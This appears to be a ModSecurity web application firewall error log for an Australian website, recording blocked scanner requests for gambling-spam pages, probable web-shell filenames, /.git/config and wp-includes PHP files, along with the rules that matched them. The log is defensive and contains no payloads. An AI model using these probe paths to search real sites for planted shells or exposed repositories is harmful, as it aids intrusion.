[Tue Apr 14 20:46:23.196627 2026] [:error] [pid 59986:tid 60031] [client 42.200.231.39:5584] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "ad43H56axKeW6bX4H7dmXwAAAEs"]
[Tue Apr 14 20:46:25.893439 2026] [:error] [pid 60074:tid 60084] [client 42.200.231.39:16132] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ad43IetqnEmNU9vpHCmYhQAAAMg"]
[Tue Apr 14 20:46:26.409039 2026] [:error] [pid 60074:tid 60098] [client 42.200.231.39:50540] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/w69%20slot.aspx"] [unique_id "ad43IutqnEmNU9vpHCmYhwAAANY"]
[Tue Apr 14 20:46:28.551585 2026] [:error] [pid 60074:tid 60100] [client 42.200.231.39:27323] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ad43JOtqnEmNU9vpHCmYkgAAANg"]
[Tue Apr 14 20:46:29.113841 2026] [:error] [pid 3810:tid 3821] [client 42.200.231.39:46184] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "ad43Jcqc5XaYZhFXVGeTKAAAAYg"]
[Tue Apr 14 20:46:31.890460 2026] [:error] [pid 59985:tid 60015] [client 42.200.231.39:2083] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ad43J-gHaxkvLE6V1klegAAAABY"]
[Tue Apr 14 20:46:32.447839 2026] [:error] [pid 3810:tid 3835] [client 42.200.231.39:48189] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/we88%20slot.aspx"] [unique_id "ad43KMqc5XaYZhFXVGeTLwAAAZY"]
[Tue Apr 14 20:46:34.548955 2026] [:error] [pid 3778:tid 3792] [client 42.200.231.39:13828] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad43Khx5DfpNmYF_PaHdlAAAAUw"]
[Tue Apr 14 20:46:35.064545 2026] [:error] [pid 3810:tid 3827] [client 42.200.231.39:61875] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "ad43K8qc5XaYZhFXVGeTOQAAAY4"]
[Tue Apr 14 20:46:37.774261 2026] [:error] [pid 59986:tid 60035] [client 42.200.231.39:51563] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ad43LZ6axKeW6bX4H7dmhQAAAE8"]
[Tue Apr 14 20:46:38.333713 2026] [:error] [pid 60074:tid 60095] [client 42.200.231.39:54490] [client 42.200.231.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xo%20slot.aspx"] [unique_id "ad43LutqnEmNU9vpHCmYlQAAANM"]
[Tue Apr 14 20:47:45.486498 2026] [:error] [pid 3778:tid 3799] [client 49.233.45.47:37302] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.measureyourbrand.com.au"] [uri "/"] [unique_id "ad43cRx5DfpNmYF_PaHd5AAAAVM"]
[Tue Apr 14 22:17:12.500328 2026] [:error] [pid 59987:tid 60047] [client 216.81.248.211:53792] [client 216.81.248.211] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "ad5MaFWpk-Tfi6_vLKpFPAAAAIA"]
[Tue Apr 14 22:40:31.858391 2026] [:error] [pid 22177:tid 22193] [client 94.154.239.69:36966] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/allslot%20wallet.aspx"] [unique_id "ad5R34TVeJSXHDIlEDuaNQAAAQ4"]
[Tue Apr 14 22:40:34.458812 2026] [:error] [pid 60074:tid 60083] [client 94.154.239.69:39906] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/amb%20superslot.aspx"] [unique_id "ad5R4utqnEmNU9vpHCnDzwAAAMc"]
[Tue Apr 14 22:40:36.853970 2026] [:error] [pid 59985:tid 60009] [client 94.154.239.69:39920] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "ad5R5OgHaxkvLE6V1klzXgAAABA"]
[Tue Apr 14 22:40:39.277273 2026] [:error] [pid 60074:tid 60094] [client 94.154.239.69:39936] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "ad5R5-tqnEmNU9vpHCnD4gAAANI"]
[Tue Apr 14 22:40:41.736315 2026] [:error] [pid 3810:tid 3823] [client 94.154.239.69:39952] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "ad5R6cqc5XaYZhFXVGfKEAAAAYo"]
[Tue Apr 14 22:40:44.152839 2026] [:error] [pid 59985:tid 60008] [client 94.154.239.69:56456] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "ad5R7OgHaxkvLE6V1klzYQAAAA8"]
[Tue Apr 14 22:40:46.591582 2026] [:error] [pid 59985:tid 60001] [client 94.154.239.69:56470] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "ad5R7ugHaxkvLE6V1klzZQAAAAg"]
[Tue Apr 14 22:40:49.000273 2026] [:error] [pid 3778:tid 3804] [client 94.154.239.69:56492] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "ad5R8Bx5DfpNmYF_PaEB-wAAAVg"]
[Tue Apr 14 22:40:51.385359 2026] [:error] [pid 22177:tid 22185] [client 94.154.239.69:56496] [client 94.154.239.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "ad5R84TVeJSXHDIlEDuaSAAAAQY"]
[Tue Apr 14 23:52:46.900125 2026] [:error] [pid 60074:tid 60082] [client 128.251.16.122:50805] [client 128.251.16.122] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/wp-login.php"] [unique_id "ad5izutqnEmNU9vpHCncrgAAAMY"]
[Tue Apr 14 23:52:49.109443 2026] [:error] [pid 60074:tid 60096] [client 128.251.16.122:5735] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ad5i0etqnEmNU9vpHCncsgAAANQ"]
[Tue Apr 14 23:52:50.138524 2026] [:error] [pid 59986:tid 60022] [client 128.251.16.122:61014] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ad5i0p6axKeW6bX4H7fUNwAAAEI"]
[Tue Apr 14 23:52:51.096641 2026] [:error] [pid 59986:tid 60021] [client 128.251.16.122:48493] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ad5i056axKeW6bX4H7fUOgAAAEE"]
[Tue Apr 14 23:52:54.069383 2026] [:error] [pid 22177:tid 22197] [client 128.251.16.122:61248] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ng.php"] [unique_id "ad5i1oTVeJSXHDIlEDupUgAAARI"]
[Tue Apr 14 23:52:55.611674 2026] [:error] [pid 3810:tid 3833] [client 128.251.16.122:54175] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "ad5i18qc5XaYZhFXVGfp5wAAAZQ"]
[Tue Apr 14 23:52:56.562577 2026] [:error] [pid 60074:tid 60086] [client 128.251.16.122:61047] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "ad5i2OtqnEmNU9vpHCncxQAAAMo"]
[Tue Apr 14 23:52:58.016354 2026] [:error] [pid 60074:tid 60099] [client 128.251.16.122:63455] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "ad5i2utqnEmNU9vpHCnczAAAANc"]
[Tue Apr 14 23:52:58.963529 2026] [:error] [pid 3810:tid 3816] [client 128.251.16.122:58279] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tiny2.php"] [unique_id "ad5i2sqc5XaYZhFXVGfp8gAAAYM"]
[Tue Apr 14 23:52:59.814088 2026] [:error] [pid 59985:tid 60000] [client 128.251.16.122:46564] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "ad5i2-gHaxkvLE6V1kmAxwAAAAc"]
[Tue Apr 14 23:53:00.463659 2026] [:error] [pid 59986:tid 60038] [client 128.251.16.122:48214] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "ad5i3J6axKeW6bX4H7fURAAAAFI"]
[Tue Apr 14 23:53:01.194401 2026] [:error] [pid 60074:tid 60093] [client 128.251.16.122:52294] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "ad5i3etqnEmNU9vpHCnc1wAAANE"]
[Tue Apr 14 23:53:03.052652 2026] [:error] [pid 59987:tid 60066] [client 128.251.16.122:47864] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/state.php"] [unique_id "ad5i31Wpk-Tfi6_vLKpcqAAAAJM"]
[Tue Apr 14 23:53:04.367984 2026] [:error] [pid 59985:tid 60001] [client 128.251.16.122:47867] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "ad5i4OgHaxkvLE6V1kmAzgAAAAg"]
[Tue Apr 14 23:53:06.151004 2026] [:error] [pid 60074:tid 60079] [client 128.251.16.122:59303] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "ad5i4utqnEmNU9vpHCnc3AAAAMM"]
[Tue Apr 14 23:53:07.528037 2026] [:error] [pid 3810:tid 3814] [client 128.251.16.122:5213] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "ad5i48qc5XaYZhFXVGfp-wAAAYE"]
[Tue Apr 14 23:53:08.784921 2026] [:error] [pid 60074:tid 60091] [client 128.251.16.122:5767] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2.php"] [unique_id "ad5i5OtqnEmNU9vpHCnc5AAAAM8"]
[Tue Apr 14 23:53:12.200215 2026] [:error] [pid 60074:tid 60081] [client 128.251.16.122:54204] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ad5i6OtqnEmNU9vpHCnc7gAAAMU"]
[Tue Apr 14 23:53:13.741187 2026] [:error] [pid 3810:tid 3814] [client 128.251.16.122:58462] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ad5i6cqc5XaYZhFXVGfqBQAAAYE"]
[Tue Apr 14 23:53:15.858990 2026] [:error] [pid 3810:tid 3826] [client 128.251.16.122:46605] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ad5i68qc5XaYZhFXVGfqDQAAAY0"]
[Tue Apr 14 23:53:16.872919 2026] [:error] [pid 3810:tid 3819] [client 128.251.16.122:58454] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wps.php"] [unique_id "ad5i7Mqc5XaYZhFXVGfqFAAAAYY"]
[Tue Apr 14 23:53:18.240382 2026] [:error] [pid 3810:tid 3815] [client 128.251.16.122:46620] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "ad5i7sqc5XaYZhFXVGfqGQAAAYI"]
[Tue Apr 14 23:53:19.457153 2026] [:error] [pid 59987:tid 60066] [client 128.251.16.122:53421] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "ad5i71Wpk-Tfi6_vLKpcvQAAAJM"]
[Tue Apr 14 23:53:20.189669 2026] [:error] [pid 3810:tid 3823] [client 128.251.16.122:65100] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "ad5i8Mqc5XaYZhFXVGfqHwAAAYo"]
[Tue Apr 14 23:53:21.935711 2026] [:error] [pid 3778:tid 3804] [client 128.251.16.122:63537] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ayk.php"] [unique_id "ad5i8Rx5DfpNmYF_PaEW0gAAAVg"]
[Tue Apr 14 23:53:22.968915 2026] [:error] [pid 60074:tid 60085] [client 128.251.16.122:46581] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ad5i8utqnEmNU9vpHCndCgAAAMk"]
[Tue Apr 14 23:53:24.175592 2026] [:error] [pid 60074:tid 60082] [client 128.251.16.122:62796] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ad5i9OtqnEmNU9vpHCndDgAAAMY"]
[Tue Apr 14 23:53:25.183899 2026] [:error] [pid 59986:tid 60039] [client 128.251.16.122:63235] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ad5i9Z6axKeW6bX4H7fUUwAAAFM"]
[Tue Apr 14 23:53:27.686731 2026] [:error] [pid 59986:tid 60027] [client 128.251.16.122:65103] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wgift1.php"] [unique_id "ad5i956axKeW6bX4H7fUXAAAAEc"]
[Tue Apr 14 23:53:28.298440 2026] [:error] [pid 59985:tid 59999] [client 128.251.16.122:48239] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "ad5i-OgHaxkvLE6V1kmA1gAAAAY"]
[Tue Apr 14 23:53:29.773339 2026] [:error] [pid 60074:tid 60093] [client 128.251.16.122:65105] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "ad5i-etqnEmNU9vpHCndFAAAANE"]
[Tue Apr 14 23:53:32.643415 2026] [:error] [pid 3778:tid 3785] [client 128.251.16.122:48462] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "ad5i_Bx5DfpNmYF_PaEW4gAAAUU"]
[Tue Apr 14 23:53:34.751812 2026] [:error] [pid 59986:tid 60036] [client 128.251.16.122:48448] [client 128.251.16.122] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ss.php"] [unique_id "ad5i_p6axKeW6bX4H7fUdAAAAFA"]
